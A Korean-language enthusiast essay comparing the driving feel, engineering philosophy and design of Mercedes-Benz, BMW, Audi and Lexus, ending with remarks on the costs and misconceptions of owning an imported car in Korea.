    벤츠라는 차를 처음 타본 사람들의 대체적인 느낌은 초반 스타트가 느리다는 느낌이다. 그래서 의외라는 생각을 많이 하게 되고, 사실 이렇게 다소 느린 초반 스타트를 고집하는 벤츠의 특성때문에 성질이 급한 한국사람들에게 거부반응을 일으키도 한다.

    벤츠계열 엔진을 채용한 구 무쏘나 렉스턴 초기형을 타본 사람은 알겠지만, 처음 스타트시에 악셀을 꾹 밟고 있어도 차가 꿈쩍도 안하는 경우가 많다. 그리고는 천천히.. 출발하기 시작하는 벤츠 엔진.. 렉스턴의 경우는 이러한 벤츠엔진의 고유특성에 대한 불만이 많아서, 결국 후기형부터는 스타트가 개선된 어중간한 엔진으로 변형되었다.

    그렇다면 왜 벤츠는 이렇게 성능이 떨어져보이는 느린 스타트를 고집할까? 그것은 간단하다. 스타트가 빠르다는게 차의 모든 특성을 말해주는게 아니기 때문이고, 진짜 실력은 그런 초반이 아니라 중후반 이후에 드러나기를 원하기 때문이다.

    처음에 느린 스타트에 실망한 운전자도 계속 운전을 하다보면 뭔가 느끼게 된다. 처음에는 느린 듯 하지만, 차츰 달릴수록.. 점점 더 힘이 붙고, 더욱 고속으로 갔을때 점점더 안정감이 생기는 차체와 엔진.. 초반의 강렬한 토크감보다는, 어떤 속도 어떤 주행에서도 안정감있는 엔진기동을 보여주는 것이다. 즉 처음엔 좀 달리는 듯 하다가 속도가 늘면서 힘이 딸리는 느낌을 받는게 아니라, 그 반대로 달리면 달릴수록 힘이 붙고, 또 안정감이 탁월하다는 점에 감탄하게 되면서 운전자는 외친다. "이래서 벤츠구나..!"

    물론 이러한 운행특성이 모든 벤츠 차량을 대변하는 것은 아니고, 대체적인 엔진 스타일이 그렇다는 것이다. 스포츠 디비전에 속하는 계열의 벤츠차량들은 다른 클래스에 비해선 스타트가 빠르다. 하지만 동급의 다른 메이커와 비교해보면 분명 좀 스타트가 느리다는 느낌을 지울 수가 없다. 어차피 철학이니까.

    일반 차량을 180 이상의 속도로 몰아보면 격심한 엔진음과 차체의 불안감을 느끼게 된다. 하지만 벤츠는 오히려 그런 고속에 가서도 놀랄정도로 꾸준하고 안정감있는 주행을 보여줌으로써, 운전자가 '이 차는 벤츠다'라는 것을 느끼게 해주는 것이다.

    사실 엘레강스를 추구하는 벤츠 입장에서, 초반에 팍팍 튀어나가는 주행은 다소 싸보인다는 느낌을 받아하는 것 같기도 하다. 처음에 튀기 보다는 처음이나 끝이나 일정함 힘과 안정감으로 운전자를 만족시키는 차, 그것이 벤츠이기에.

    이러한 묘한 운행특성은 호불호가 심한 편이라, 그 꾸준하고 깊은 힘에 반한 매니아들도 많지만 반대로 싫어하는 사람도 많은 편이다. 특히 초반 스타트에 집착하는 한국사람의 특성에는 조금 맞지 않는 측면이 많아서, 기동성이 뛰어난 일반 세단을 원하는 국내유저들에겐 다소 찬밥신세이기도 했다.

    물론 벤츠에도 E550 AMG나 SLK350 처럼 수퍼카에 준하는 스포츠카가 있다. 하지만 실제로 가장 많이 팔려야 할 세단 시장에서는 성능이라는 지표로 국내 운전자들에게 어필하기 힘든 것은 어쩔 수 없다. 실제 벤츠를 선택하는 사람들은, 그 엘레강스와 네임밸류, 고급스러움과 안정감에 반했기 때문일 것이다. 그리고 그 분야에서 만큼은 분명히 벤츠는 자타가 공인하는 최고니까.

    세계최고의 서스펜션이라 불리우는 독일차 답게, 벤츠의 서스펜션도 훌륭하다. 유럽차는 우리나라차와 달리 좀더 하드한 서스펜션을 선호한다. 물렁물렁해서 승차감은 좋지만 코너에서 휘청휘청 쏠리는 한국/미국식 서스펜션과 달리, 코너와 브레이킹시 차체를 강하게 잡아주는 하드서스펜션을 기본으로 한다. 대신 거친 노면이나 울퉁불퉁한 길을 갈때 승차감이 나쁘다는 느낌이 들기도 하지만, 차량의 주행안정성을 우선시하는 독일차들은 이런 승차감이 더 좋은 것이라고 확신하는 듯 하다.

    그래서 에쿠스나 그랜저처럼 물렁한 서스에 익숙한 한국인들이 독일차들을 처음 타면 바닥이 좀 딱딱하다는 느낌을 받으면서 불쾌해하기도 한다. 하지만 조금만 달려보면 알 수있다. 이러한 독일차의 하드서스펜션이 얼마나 차원이 다른 안정감을 주는지. 고속으로 갈수록 점점더 안정감이 더해가는 것은 이러한 서스특성이 강하게 작용하고 있다.

    물론 국산 차량도 서스튜닝을 통해 하드한 주행을 만들 수 있지만, 승차감에서 손실이 커지게 된다. 독일차는 이러한 하드 서스펜션을 추구하면서도, 승차감의 손실은 최소화하였고, 그러한 새시/서스펜션 기술은 우리나라는 물론 일본에서도 따라잡지 못하는 영역으로 자리잡고 있다.

    벤츠의 코너링은 대단히 훌륭하지만, 이또한 분명히 역동적이진 않다. 하드한 서스는 코너에서 쏠림없이 기막히게 차체를 잡아주지만, 뭔가 모르게 밋밋하게 돈다는 느낌을 받는다. 이는 역시 '엘레강스'의 철학답게, 운전자가 코너에서 최대한의 안정감을 느끼게 해주려는 배려이다. 이점은 역동성있는 드라이브를 원하는 사람에겐 마이너스 요소이지만, 일반적으로는 안정감을 더 높여주는 요소이기도 하다.

    누구나 알지만, 벤츠의 디자인 철학은 엘레강스를 추구한다. 큰 변화보다는 기존의 스타일에서 크게 벗어나지 않으려 하며, 세계 최고의 고급차라는 명성을 유지하기 위해 보수적인 디자인을 유지하고 있는 것이다. 물론 신형 CLS나 CLK처럼 다소 파격적인 라인을 보여주는 벤츠도 있지만, 그 엘레강스만큼은 놓치지 않으려 애쓴 흔적이 남아있다.

    최고의 브랜드답게 일반차에서 보기 힘든 많은 스페셜 옵션을 탑재하고 있는 벤츠이지만, 가급적 신기술보다는 검증된 기술을 채용하고 있다. 첨단 옵션에 집착하느라 고장률이 높은 BMW와는 반대의 컨셉을 갖고 있는 셈이다.

    이렇듯 벤츠는 시종일관 '세계 최고의 브랜드' 라는 타이틀을 짊어지고 있는지라, 보수적이면서도 그 굴레를 벗어나지 못한다는 평도 듣고 있다. 하지만 그렇기 때문에 그런 고급차의 최고봉을 계속 '안전하게' 유지하고 있는 것일지도 모른다.



    2. BMW

    삼척동자도 아는 BMW. BMW는 Babarian Motor Work 의 준말로써,
    바이에른(바바리안) 지역의 자동차 회사라는 뜻이다.
    즉 알고보면 사실 그냥 '분당 자동차 회사' 처럼 대충 동네이름을 약자로 줄인 이름이다. (잘 생각해보면 좀 촌스럽다)

    2차대전 비행기 엔진으로 시작된 BMW는, 벤츠와 더불어 독일을 대표하는 최고의 프리미엄 브랜드이다. 그리고 BMW의 강렬한 네임밸류는 결코 벤츠에 못지 않다.

    벤츠와 BMW가 함께 사용하는 재미있는 선전 문구가 있다.

    " 성공한 사람들의 차 벤츠. 그리고 성공을 위해 달려가는 사람들의 차 BMW"

    이 한줄의 말에 두 메이커의 특성이 완벽하게 표현되어 있다. 벤츠는 이미 성공한 사람들의 안정감을 대표하는 대명사이고, BMW는 아직 성공에 도달하진 못했지만, 미친듯이 성공을 위해 달려가는 역동성을 대표한다. 잘 알겠지만, 목표를 이룬 후보다 이루기 위해 달려갈 때가 더 흥미진진하다는 점, BMW는 바로 그런 포인트에 서있는 차이다.

    BMW는 국내시장 1위를 고수하는 수입차 메이커이다. 벤츠가 아무리 세계 최고라해도, 렉서스가 아무리 위협해도 BMW의 시장세는 여전히 강하다. 이유는 간단하다. BMW는 한국사람 특성에 가장 적합한 차로 평가되기 때문이다.

    일단 이 BMW라는 메이커는 벤츠와 특성이 많이 다르다. 물론 고급차답게 엘레강스함이나 안정감도 잊진 않지만, 그것이 제1의 화두가 아니다. BMW의 모토는 혁신적이고, 과감하고, 시대를 앞서가는 것이다.

    시간이 지나면서 많은 상용차의 기본옵션이 되어가는 여러 기능들을 처음 도입하고 상용화하는데 앞장서는 메이커가 바로 BMW이다. 항상 다른 어떤 메이커보다 이상하고 특이한 기능을 많이 개발하고 또, 빨리빨리 적용한다. 벤츠나 아우디가 기술력이 모자라서가 아니라, 아직 검증되지 않았기 때문에 사용을 보류하는 기능들을 BMW는 누구보다 빨리 적용해서 내놓는다.

    그래서 항상 다른 차에서 본적도 없는 요상한 기능들로 무장한, 그야말로 미래형 자동차의 표본을 제시한다. 그리고 이러한 시대를 앞선 첨단성은 열렬히 환영받기도 하고, 때로는 거부감이 들기도 한다. 그도 그럴 것이 냉정하게 말해서 독일의 3대 메이커중 잔고장률이 가장 높은게 BMW이기 때문이다. (큰고장은 역시 잘 안나지만 자잘한 고장은 많다) 첨단 기술은 그만큼 검증의 시간이 필요한 법인데, BMW는 항상 앞서나가도 좀 심하게 앞서나간다는 평을 듣는다.

    최근의 BMW 옵션들을 둘러보면.. 비행기처럼 유리창에 계기판을 띄우는 HUD 기능이라던지, 키없이 버튼으로 시동거는(마치 컴퓨터를 부팅하듯이) 기능이라던지, 차안의 모니터상의 버튼 조작으로 엔진의 최대 마력수를 변경하고 연비를 조절한다던지 등등 별의 별 요상한 기능들로 가득차있다. 이 모든 첨단 장비는 BMW가 개발했고 말고가 아니라, 중요한 것은 그러한 장비들을 과감히 상용차에 넣어서 양산해버리는 그 '배짱'에 있다. 그래서 오토모티브 엔지니어링에서 BMW의 가장 큰 역할은 그런 실험정신이라고 부르는 사람도 있는 것이고.

    특히 차량전체의 전자장비화에 있어서 심하게 집착하는 편이라, 적용초기에는 수많은 리콜이 있었고 지금도 사실 좀 그런 편이다. 최근에는 모든 그레이드에 I-drive라는 기능을 적용중인데, 차량에 모니터를 기본장착해서 모든 특성을 마치 컴퓨터 마우스처럼 휠버튼으로 조절하는데 집착하고 있다. 이는 처음에는 어색할지라도, 익숙해지면 매우 편리할 뿐만아니라.. 대쉬보드의 버튼을 대폭 줄일 수 있다는 장점이 있다. 실제 가장 큰 장점은 하드웨어적인 것이 아닌, 소프트웨어적인 부분으로 더욱 많은 부분을 세세하게 조절하는 기능을 넣을 수 있으며, 게다가 때로는 그것을 S/W의 변경만으로도 업그레이드가 가능하다는 점이다.

    예를 들어, 좌석의 열선의 경우.. 보통은 토글 버튼으로 약간의 온도차이 정도만 조정할 수 있다. 그러나 아이드라이브로는 바닥과 등받이면의 온도분포레벨을 세세하게 마우스로 조정하듯이 운전자의 취향대로 설정할 수 있다. 만약 이런 세세한 기능까지 대시보드의 하드웨어 버튼으로 조절한다면, 대시보드가 비행기 조종간처럼 복잡해질 것이다. 즉, 기술적으로는 전혀 어렵지 않지만, 대시보드에 넣기엔 너무 조잡스러울 수도 잇는 수많은 기능들이 단지 동그란 아이드라이브 하나로 모두 구현할 수 있게 되는 것이다. 이러한 아이드라이브 기술은 매우 혁신적인 시도로써, 자동차의 기능에 대해 "확장성"을 부여했다는 점에서 향후 지능형 자동차의 명확한 비전을 제시해준 BMW의 쾌거이기도 하다.

    이러한 차량전체의 전자화에 입각하여, BMW는 차의 거의 모든 곳에 센서가 붙어있다. 각종 차량의 이상을 알려주는 것은 물론, 네 바퀴의 브레이크 패드 마모상태와 교환주기를 각각 체크해준다던지, 오일점도는 물론 오일은 몇키로 후에 갈아야 하는지, 차체 구석구석에 붙어있는 모든 라이트들이 정상동작하는지 개별적으로 각각 체크하여 알려주며, 워셔액은 모자르지 않는지, 미션상태는 괜찮은지, 타이어압력이 모자르지 않는지 등등, 일반 국산차를 몰던 사람이 보기엔 당황스러울 정도로 많은 정보를 알려주는 인디케이터가 가득하다.

    덕분에 차에 대해 모르는 사람도, 차의 인디케이터가 알려주는대로만 정비를 해도 된다. 이렇게 600개에 달하는 무지막지한 센서링 기능은 초반에 많은 문제점을 안고 있다가, 최근에는 많이 안정화된 추세이다. 그리고 이렇게 BMW가 한차례 기능적 검증의 고비를 넘자, 벤츠와 아우디, 사브 등등 메이커들도 이러한 자체진단기능을 대폭 탑재하기 시작했다.

    이렇듯 BMW는 기술의 선두를 달리는, 몰모트와 같은 회사라고 평가된다. 그리고 결국 그 몰모트는 운전자의 몫이 되지만, 이런 최첨단 기능을 만끽하는 댓가를 치루는 것이라고 여길 수밖에. 이런 최첨단 장비들의 특성 때문에, 007 본드카 하면 벤츠도 아우디도 아닌 BMW가 많이 등장하는 것이기도 하다. 얼마전 미국판 택시 영화에서는 총에 맞아도 펑크나지 않고 80km를 달릴 수있는 런플랫 타이어를 장착한 BMW가 나오는데, 이런 만화같은 타이어가 실제로도 BMW의 모든 등급의 신차에 적용하고 있는 기본옵션이기도 하다.

    물론 BMW는 지독하게 복잡한 전자장비만 탑재한 차가 아니다. 성공을 위해 미친듯이 달려가는 메이커 특성 답게, 종합적인 주행성능 면에서도 탑을 달리고 있다.

    우선 한국사람이 좋아할 만한 부분.. 스타트가 빠르다는 점. 아우디도 비슷하지만, 동급비교에서는 대체로 BMW쪽이 승리하며, 안그래도 좀 스타트가 느리기로 유명한 벤츠와는 많이 차이난다.

    BMW는 운전자가 차량의 넘치는 힘을 느껴주길 바란다. 실키 식스라 불리우는 전통적인 직렬 6기통 을 베이스로 한 BMW의 엔진은, 처음의 넘치는 힘이 큰 굴곡없이 최대한 끝까지 유지되도록 안간힘을 쓴다. 뭐랄까, 엔진에서 뽑아낼 수 있는 힘은 죄다 뽑아내는 느낌이 든다. 가장 아래급의 모델인 318i라해도, 일반 국산 중형과 똑같은 구조를 가진 2000cc 4기통 엔진임에도 불구하고 도로조건만 받춰주면 최고속으로 240은 무난히 찍힐 정도.

    벤츠가 시종일관 묵직하고 깊이있는 안정감으로 사람을 사로잡는다면, BMW는 상대적으로 보다 거친 느낌으로 사람을 사로잡는다. 200이상의 고속에서의 안정감 역시 벤츠처럼 탁월하며, 특히 고속으로 장기주행을 해도 엔진이 잘 견뎌준다. 일반적으로 200이상의 고속에서 장기 드라이빙을 하면 엔진이 힘겨워하는 것을 느끼기 마련이지만, BMW의 실키식스 엔진은 아무렇지 않다는듯 묵묵히 차를 계속 몰아붙인다.

    BMW의 주행감을 설명한다면, 일단 치고나가는 빠른 스타트와, 그에 못지않게 달리면 달릴수록 후륜답게 뒤에서 몰아붙여주는 가속감이 점점 더 배가되는 느낌을 받는다. 바로 이러한 '돌진'하는 느낌의 주행성때문에 한국사람들이 대체로 선호하는 차이기도 한데, 이는 분명히 깊이있고 꾸준한 스타일의 벤츠엔진과 많이 다르다. 좀 불안할 정도로 무섭게 몰아붙이는 듯한 BMW의 엔진은, 벤츠에 비해 엔진의 안정감은 떨어지지만 그만큼 운전자의 심장을 벌떡벌떡 뛰게 만들어준다. 한마디로 '나는 지금 달리고 있다!' 라는 느낌을 받게 된다.

    그리고 BMW 최고의 미덕은 코너링이고들 한다. 후륜구동을 고집하고, 최근 벤츠도 포기한 깊숙한 직렬 6기통 엔진을 고수하고, 그 누구보다 짧은 오버행(차량의 앞바퀴 앞부분)을 통해 넓은 휠베이스를 고집하는 이유는 바로 50:50 의 무게배분 철학때문이다.

    앞바퀴축과 뒷바퀴축의 무게배분이 50:50으로 완벽하게 이루어진 차의 코너링은 그렇지 않은 차와 확연히 다르다. 일반적으로 하드서스 튜닝을 통해 롤링을 최소화한 차라해도, 무게배분 문제로 코너링시에 균형을 잃기 쉽다. 하지만 무게배분이 잘 된 차의 코너링은, 한마디로 차가 회전할때 차량의 중심에 기둥을 박아놓고 자신의 중심을 기준으로 제자리 회전하는 느낌이 든다.

    직접 몰아보기 전에는 좀체 설명하기 힘든 느낌이지만, 어쨌든 상당히 독특한 코너링을 느낄 수 있다. 핸들을 급격히 꺾어서 코너링을 하면 차가 밖으로 밀리는게 아니라 오히려 차앞부분이 안쪽으로 휙 하고 쏠리는 기묘한 경험을 하게된다.

    물론 이런 코너링감은 일반적인 상황에선 크게 못느끼지만, 고속에서 급 코너링이나 급회전시 확연히 느껴진다. 80km의 속도에서 밀림없이 90도 직각턴이 가능한 차는 흔치 않은데, BMW는 기본옵션이다.

    카트라이더라도 즐겨본 사람들은 알겠지만, 레이싱의 승부는 직선도로가 아니라 코너링에서 승부가 갈린다. 이런 50:50 무게배분의 BMW 코너링 덕택에 아무런 튜닝을 하지 않은 기본차량이라해도, 운전자의 약간의 스킬만으로 커브가 많은 공도에서 보다 성능이 뛰어난 튜닝카들도 따돌릴 수 있는 것이다.

    이런 코너링에 대한 집착덕인지 서스펜션은 벤츠보다 약간 더 딱딱한 편에 속하며, 그래서 승차감만 놓고보면 벤츠보다 조금 나쁘다는 느낌을 주로 받는듯 하다. 절대로 그랜저나 에쿠스의 푹신한 승차감을 기대해서는 안되는게 BMW이고, 엄하게 그냥 편한 고급차를 타려는, 차에 대해 무지한 사람들에겐 괜시리 승차감만 나쁘다고 욕먹기도 한다. 하지만 BMW의 가치는 승차감이 아니라 이러한 최첨단 기능성과 역동적인 주행성 때문인 것이다. 승차감과 정숙성을 최고의 가치로 본다면 벤츠도 아니고 BMW도 아니고 렉서스를 타야한다.

    BMW의 디자인은 파격적이다. 천재 자동차 디자이너라고 불리우는 크리스 뱅글이 이끄는 BMW의 디자인팀은, 언제나 자동차 디자인의 미래를 꿈꾸는 듯 하다. BMW 신차들은 뭔가모르게 당장은 어색해보이지만, 몇년이 지나고 보면 다른 유명메이커들이 여지없이 그 디자인 컨셉을 따르고 있다. 혁신적이고 도전적인 메이커 컨셉에 맞게, 당장 잘팔리는 보수적인 디자인 컨셉보다는 최대한 앞서나가려는 듯. 최근의 3/5/7 시리즈의 디자인은 조금 오버했다는 평도 많지만, 어쨌든 지금은 이미 여러 메이커들이 그 오버했다는 디자인을 따라가고 있지 않은가 말이다.

    BMW는 성공한 사람들의 안정감과 품격, 그리고 그에 걸맞게 그 안에 숨겨져있는 성능과 능력을 상징하는 벤츠와는 정말 많이 다르다. 벤츠를 좋아하는 사람들은 BMW는 품위없게 오버한다고 말하기도 하지만, BMW를 좋아하는 사람들은 벤츠는 재미없는 차라고 말하기도 한다. 물론 둘다 훌륭한 차이고, 단지 차량의 특성이 다를 뿐이다.

    한마디로 벤츠는 치밀하고 조용하고 섬세하고 신중한 리더스타일의 'A형' 같은 차이고, BMW는 그야말로 'B형' 그 자체다. 열정적이고, 매력적이지만 제멋대로이고 때론 실수투성이인 야생마랄까?

    아무래도 그래서인지 벤츠와 BMW는 연령대에서 확실하게 구분이 가능하다. 젊을수록 BMW를 선호하다가 나이들면 벤츠를 선호하는 경향이 바로 그것이다. 그만큼 이 두 차는 다르다.

    열정적이고, 성질급하며 또 아직 성공하기 보단 그것을 위해 달려가는 사람이 많은 우리나라에서 BMW의 선호도가 높은 것은 당연한 결과이다. 최근에는 승차감과 정숙성을 최고의 가치로 내세운 렉서스의 인기가 BMW를 위협하고 있지만, 선호하는 층이 두텁기 때문에 선두자리를 쉽게 내주지는 않을 듯 하다.


    3. 아우디


    아우디는 미국시장에서 BMW와 동등하거나 그 이상이다. 전세계 시장을 봐도, 아우디는 벤츠와 BMW에 결코 밀리지않는 프리미엄 카로 대접받는다.

    그렇지만, 안타깝게도 이 독일의 3대 메이커중 항상 세번째로 언급되는게 아우디이다. 적어도 네임밸류에 있어서 한국에서는 벤츠와 BMW에 확실히 밀리고 있다.

    아우디의 특성은, 벤츠와 BMW의 딱 중간 노선을 달리고 있다. 우아한 선의 미학을 살리는 엘레강스한 바디와 적당한 승차감과 안정성, 그리고 비교적 기민한 운동특성. 모든것이 그 중간을 달리고 있다.

    이러한 특성은 두가지 양면성을 갖고 있다. 벤츠의 엘레강스함이 너무 무겁게 느껴지고 둔하다고 느끼고, BMW는 너무 거칠다고 느끼는 사람들에게 아우디는 최상의 선택이다. 반면 엘레강스와 거친 역동성중 어느 한쪽에 치우친 사람이 보기엔 아우디는 어지중간한 차다.

    아우디의 1차적인 매력은 아무래도 디자인에 있다는 평이 많다. 벤츠, BMW 둘다 나름대로 디자인이 컨셉이 분명하지만, 아우디는 컨셉뿐만아니라 어떤 통일성을 갖고있다. 시대가 바뀌면서 새로운 디자인이 나오지만, 누가봐도 이 차는 아우디야! 하고 알아볼 수 있는 어떤 전통을 명확하게 싣고 있는 것이다. 부드러운 라인과 엘레강스하면서도 강인한 디자인 만큼은, 확실히 벤츠나 BMW보다 기복이 적고 명확한 느낌을 주기 때문이다.

    그리고 아우디의 주무기는 바로 쿼트로 시스템. 일반 승용차에 적용한 4륜구동 시스템이 그것이다. 후륜구동을 고집하는 BMW와 벤츠와 달리, 아우디는 전륜 혹은 사륜구동을 고집한다.

    여기서 잠깐, 후륜과 전륜을 차이점을 설명한다면.. 전륜은 양산이 쉽고 잔고장이 적으며 생산원가도 더 싸고 일반적으로 연비도 더 좋다. 이것이 대부분의 양산차 메이커가 전륜을 채택하는 이유이며, 특히 빗길이나 눈길과 같은 미끄러운 도로에서 전륜의 안정성이 훨씬 좋다. 물론 사륜구동이라면 더더욱 좋지만. 한마디로 무난한 차를 만드려면 전륜구동으로 만들어야 한다.

    후륜은 회전을 담당하는 앞바퀴와 구동을 담당하는 뒷바퀴가 분리됨으로써, 앞뒷바퀴의 마찰이 엇갈리는 미끄러운 도로에서 중심을 잃기 쉽다는 치명적인 단점을 안고 있다. 그렇다면 왜 벤츠나 BMW는 오로지 후륜을 고집할까?

    세상에 모든 달리는 잘 동물은, 뒷다리로 힘을 쓰지 앞다리로 힘을 쓰지 않는다. 치타나 표범이 앞다리로 속도를 내는 것을 본적이 있는가? 앞다리는 앞으로 밀치는 뒷다리의 보조역할 및 방향타역할을 한다. 즉, 잘 달리는 차는 기본적으로 뒤에서 밀어줘야지 앞에서 끌어서는 안된다는 철학이 벤쯔나 BMW, 또한 페라리나 폴쉐같은 스포츠카 메이커들이 주로 구동력을 뒷바퀴에 싣는 이유이다.

    실제로 후륜차로 가속을 해보면, 앞에서 끄는 게 아니라 뒤에서 밀어주는 느낌을 받는다. 뒷바퀴는 오로지 앞으로 차를 강하게 밀어주는 역할에만 충실함으로써 달리기 본능을 완성시킨다. 또한 뒤에 구동축을 위치함으로써 50:50의 무게배분을 만들기가 훨씬 용이해진다.

    아우디가 훌륭한 차라고 인정받는 진정한 이유는, 바로 이렇게 달리기 본능에 충실한 후륜이 아닌, 양산차를 위한 전륜방식을 고집하면서도 후륜차에 밀리지 않는 뛰어난 성능과 안정성을 발휘하기 때문이다. 이 말 역시 애매한 이중성을 동반하고 있는데, 먼저 하드한 코너링이나 몇가지 주행성에 있어서는 여전히 잘 만들어진 후륜차에 비해 약간 부족하다는 뜻을 내포하고 있다. 하지만 후륜차에 부족한 조종안정성이나 편의성, 경제성을 통해 그것을 커버하고 있는 것이다.

    실제 아우디의 코너링 능력은 전륜차로써는 믿기지 않을 정도로 매끈하다. 50:50 무게배분이 아니라서 발생하는 코너링시 차체의 쏠림은 어쩔 수 없지만, 대단히 기민하게 차체를 원위치 시켜준다. 또한 브레이킹시의 노즈다이브(앞이 쏠리는 현상) 역시 거의 발생하지 않도록 잘 설계되어 있다. 단순 엔진만 놓고보면, 벤츠나 BMW에 비해 분명 밀리는 스펙임에도 불구하고 터보를 적극활용하여 배기량 대비 출력도 크게 높였다.

    특히 아우디만의 기술인 쿼트로 시스템은, 기후변화가 잦은 우리나라의 도로조건에서 미끄러짐 없는 완벽한 주행성을 보장한다. 일반적으로 사륜구동은 디젤 SUV에나 적용될 정도로 기술적인 난이도가 높아서, 승용차에 적용하기엔 별로 편안하지 않은 기능으로 여겨져 왔다. 하지만 아우디 쿼트로는 매우 정숙하며, 깔끔하게 동작한다. 단, 네바퀴 굴림으로 가면서 연비는 전륜이나 후륜보다 더 나쁘다는 어쩔 수 없는 단점은 존재한다. 또한 적당히 말랑하고 적당히 하드한 아우디 서스펜션은, 어찌보면 우리나라 사람들 기호에 가장 잘 맞는다.

    아우디는 이렇게 치우치지 않는 노선을 유지함으로써, 벤츠와 BMW의 부족한 부분을 상호보완한 메이커로 커온 것이다. 그와 더불어 아우디 TT 처럼 매우 미래지향적이면서도 자신만의 디자인 철학을 완벽하게 지키는 차도 만든다. RS 시리즈처럼 BMW의 M시리즈나 벤츠의 AMG 처럼 수퍼카급 세단도 만든다. 그래서 모든 면에서 BMW, 벤츠와 함께 3자구도로 경쟁하고 있는 것이다.

    한국에서 아우디가 벤츠나 BMW에 밀리는 부분은, 마케팅에서 밀렸다고 보는게 가장 우세하다. 국내에서 벤츠나 BMW만큼의 네임밸류는 안되는 상황에서, 내임밸류 1위, 품격중심의 벤츠 마케팅과 대단히 공격적이고 활발한 BMW의 마케팅에 밀린 것이다.

    이렇게 아우디 역시 독일사람의 치밀한 근성대로, 전체적인 완성도가 매우 높은 차지만, 특히 몇가지 점에서 (적어도 한국에선) 상대적으로 불리한 평가를 받는다. 우선 실내 정숙성 면에서 동급의 벤츠나 BMW에 비해 약간 부족하다는 평가가 많다. 조용한 차에 익숙한 사람들은 아우디 엔진을 디젤엔진이라고 폄하하기 까지 하는데, 여러 아우디를 시승해본 필자 경험에도 동급경쟁에 비해 엔진소리랑 바람소리가 좀 크다는 느낌을 받았다.

    그리고 결정적으로 국내에 풀리는 차량의 옵션이 BMW나 벤츠에 비해 좀 부족하다. 분명히 원래 선택가능한 고급옵션인데, 국내시장 특성상 옵션의 선택없이 거의 맞춤형으로 나오다보니 그런듯. 그리고 실제로도 옵션리스트를 보면 벤츠나 BMW만큼 별의별 화려한 옵션이 많지는 않기도 하다. 외국과 달리 옵션에 집착이 강한 한국인들에겐 감점요소일 수 밖에 없다.

    어쨋든 아우디도 결코 벤츠나 BMW에 못지않은 나름의 수준의 차를 만드는 프리미엄 메이커이고, 앞의 두 회사보다 더 공격적인 시장공략에 나서고 있기 때문에, 독일차의 3두마차 역할을 충실하게 이행하고 있는 메이커이다.


    4. 렉서스, 그리고 한국에서 수입차를 몬다는 것.

    외산 프리미엄 카 시장은 세계 어느나라를 가도 벤츠,BMW,아우디 3사가 리드하고 있다. 그와 더불어 최근 급부상한 메이커가 렉서스인데, 일본 도요타의 수출명 브랜드라는 것은 널리 알려진 사실이다.

    렉서스는 일단 이 독일 3사 메이커와 뚜렷히 다른 노선을 걷고 있는데, 조용함과 정숙성을 최고의 가치로 여기고, 고장이 안나는 완벽한 완성도에 집착한다. 이는 차에는 큰 관심이 없어도 편안하고 품질좋은 수입차를 타려는 계층에게 매우 어필되는 특성이다.

    물론 렉서스도 IS나 GS처럼 좀 달리는 등급의 차가 있지만, 솔직히 주행성만 놓고보면 언제나 뒤로 밀리는 평가를 받는다. 컴팩트 스포츠 세단의 최고봉 자리를 놓지않고 있는 BMW 3시리즈를 타겟으로한 렉서스 IS는, 가격대성능비나 완성도가 뛰어나지만, 전세계 모든 자동차 잡지의 평가에서 3시리즈보다 좋은 평가를 얻지 못했다. GS 역시 4300cc의 높은 배기량과 뛰어난 토크로 좋은 성능을 보이지만, BMW와 비교될때는 같은 배기량이 아닌 3000cc의 530과 주로 비교되는 수모를 겪었다. 그얘기는 비슷한 배기량의 540이나 550과 비교하기는 힘들다는 뜻이므로.

    하지만 렉서스는 이런 IS/GS 급도 동급 경쟁자에 비해 정숙성과 승차감에 있어 분명히 한수위이며, 이점은 또 강력한 장점이기도 하다. 그리고 결국 벤츠나 BMW, 아우디의 성능을 따라잡지 못한 이유가 바로 그런 승차자 중심의 편의성을 버리지 않았기 때문이기도 하다. 세상에 공짜는 없으니까.

    현재 한국의 수입차 시장은 BMW와 렉서스가 시장 1,2위로 팽팽한 접전을 벌이고 있고, 나머지 시장을 벤츠와 아우디 등이 나누고 있는 실정이다. 앞으로도 이 판도가 한동안 지속될 듯.

    수입차는 여전히 남의 얘기처럼 느껴지는 일반인들이 대부분이겠지만, 혼다가 손해를 보면서까지 자사의 플래그쉽인 어코드를 3000만원선에 내놓음으로써, 조금씩 그 장벽이 허물어지고 있다. 전세계에 유래없을만큼 국산차를 선호하는 한국인의 애국심도 애국심이지만, 세계화에 걸맞게 우리나라 일반인들도 적당한 예산 내에서 좀더 합리적인 선택을 할 시기가 점차 다가올 것으로 기대된다.

    이런 시장적 환경 말고도 수입차가 좀더 자리를 잡아서 국산차의 경쟁력도 높이려면, 몇가지 잘못된 오해는 풀어야 할 것이다.

    일단, 수입차는 세금이나 보험등 여러가지 공과금 유지비가 비쌀거라는 우려이다. 그러나 수입차는 국산차와 법적으로 아무런 차이도 없으며, 똑같이 배기량에 대해 세금이 매겨지고 똑같이 차량가액에 따라 자차 보험금이 매겨질 뿐이다. 면허세도 똑같고, 등록비에 있어서도 국산차와는 별도의 어떤 규정도 존재하지 않는다. 그냥 막연히 뭔가 더 비싸게 할거라는 우려만 있을 뿐.

    물론 기본적으로 차값이 비싼 수입차라면, 자차보험료나 배기량때문에 세금이 더 비쌀 수는 있다. 하지만 그건 차 자체의 특성이지, '수입차'라는 이유로 존재하는 장벽은 존재하지 않는다는 점이다. 낮은배기량에 더욱 싼 수입차들이 많이 수입되어질 예정이기 때문에, 이문제는 실제적으로 장벽이 되지 않는다.

    두번째로, 수입차는 기름을 많이 먹을 거라는 우려이다. 이는 물론 차마다 틀리지만, 적어도 독일차에 있어서는 맞지 않는 공식이다. 오히려 대체로 국산차보다 동일배기량에서 연비가 더 높다. 고로 2000~3000cc급의 적당한 배기량이라면, 오히려 국산차보다 유류 유지비가 더 적게 들것이라는 말을 해주고 싶다.

    물론 수입차 차량 자체의 연비는 높지만, 차가 잘 달리기 시작하면 아무래도 밟게되기 때문에.. 그래서 연비가 아주 좋게 느껴지진 않는다는 점도 간과할 수는 없지만 말이다.

    아마 실제로 수입차를 유지하면서 느끼는 장벽이라면, 수리정비의 어려움과 정비비 문제일 것이다. 일단 지정된 정비소가 한정되어 있기 때문에 찾아가기가 좀 귀찮고, 또 정비비또한 국산차의 최소 1.5배~2배이상 수준이다. 이는 공식 센터를 통한 정비에 그렇고, 재주껏 저렴한 수입차 정비소를 찾아간다면 그리 비싸진 않을 수도 있다.

